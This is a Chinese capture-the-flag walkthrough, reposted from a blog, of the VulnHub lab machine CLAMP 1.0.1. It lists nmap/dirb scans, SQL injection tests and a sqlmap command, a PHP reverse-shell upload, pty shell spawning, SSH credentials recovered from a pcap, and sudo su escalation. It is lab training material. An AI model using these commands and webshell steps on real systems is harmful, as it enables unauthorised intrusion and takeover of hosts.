欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 财经 > 金融 > vulnhub系列:CLAMP 1.0.1

vulnhub系列:CLAMP 1.0.1

2025/2/12 2:41:38 来源:https://blog.csdn.net/jq_j37/article/details/141093543  浏览:    关键词:vulnhub系列:CLAMP 1.0.1

vulnhub系列:CLAMP 1.0.1

靶机下载

一、信息收集

nmap扫描存活,根据mac地址寻找IP

nmap 192.168.23.0/24

image-20240810151104756

nmap扫描端口,开放端口:22、80

nmap 192.168.23.187 -p- -A -sV -Pn

image-20240810151210692

dirb扫描目录

dirb http://192.168.23.187/

image-20240810151237761

访问80端口

image-20240810152717852

f12查看源码,提示让我扫描更多

image-20240810153528624

使用dirsearch,换了几个大一些的字典,但是没扫出来

访问 /nt4stopc/

image-20240810153711519

下面有一些问题,提示必须收集答案

image-20240810153817045

都是一些判断题,对与错对应1与0,最后结果为

0110111001

拼接访问

image-20240810154719589

点击图中位置,发现存在参数,php语言,尝试注入

image-20240810155246184

and 1=1 --+ 显示正常

image-20240810155336174

and 1=2 --+ 显示异常

image-20240810155442024

是存在注入的,使用 sqlmap 跑一下

python3 sqlmap.py -u "http://192.168.23.187/nt4stopc/0110111001/summertimesummertime/go.php?id=1" --batch --dbs

库名

image-20240810155822694

tatil 下表名

image-20240810160020759

gereksiz 下得到一串值

hihijrijrijr-balrgralrijr-htjrzhujrz-bfnf  folder upload.php

image-20240810160121537

解码后得到

uvuvwevwevwe-onyetenyevwe-ugwemuhwem-osas

可能还是路径,拼接访问

image-20240810160451564

再拼接 upload.php

image-20240810160536758

文件上传,以md5提交,但是没有提交按钮,自己在前端给加一个

<input type="submit">

image-20240810160955930

二、getshell

kali 生成反弹 shell

locate php-reverse-shell.phpcp /usr/share/webshells/php/php-reverse-shell.php .nano php-reverse-shell.php

image-20240810164721269

image-20240810170333921

上传该文件后,返回了文件路径,文件名为md5加密后的

osas/2ad6bded962b884337eaeb921d7c2764.php

image-20240810165140365

访问文件,成功反弹shell

image-20240810170450725

三、提权

使用 python 提升交互性

python3 -c 'import pty;pty.spawn("/bin/bash")'

image-20240810170554704

在 /var/www/html 下发现 important.pcapng

image-20240810170833904

查看文件,发现内容

email=mkelepce&message=Hello+there%2C+The+password+for+the+SSH+account+you+want+is%3A+mkelepce%3Amklpc-osas112.+If+you+encounter+a+problem%2C+just+mail+it.++Good+work

image-20240810171009591

url解码,得到以下数据

email=mkelepce&message=Hello there, The password for the SSH account you want is: mkelepce:mklpc-osas112. If you encounter a problem, just mail it.  Good work

账号密码

mkelepce:mklpc-osas112.

ssh连接,连接成功

ssh mkelepce@192.168.23.187
mklpc-osas112.

image-20240810171211396

查看当前权限

sudo -l
mklpc-osas112.

image-20240810171309412

显示为 all ,直接sudo su 提权,提权成功

sudo su

image-20240810171354851

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com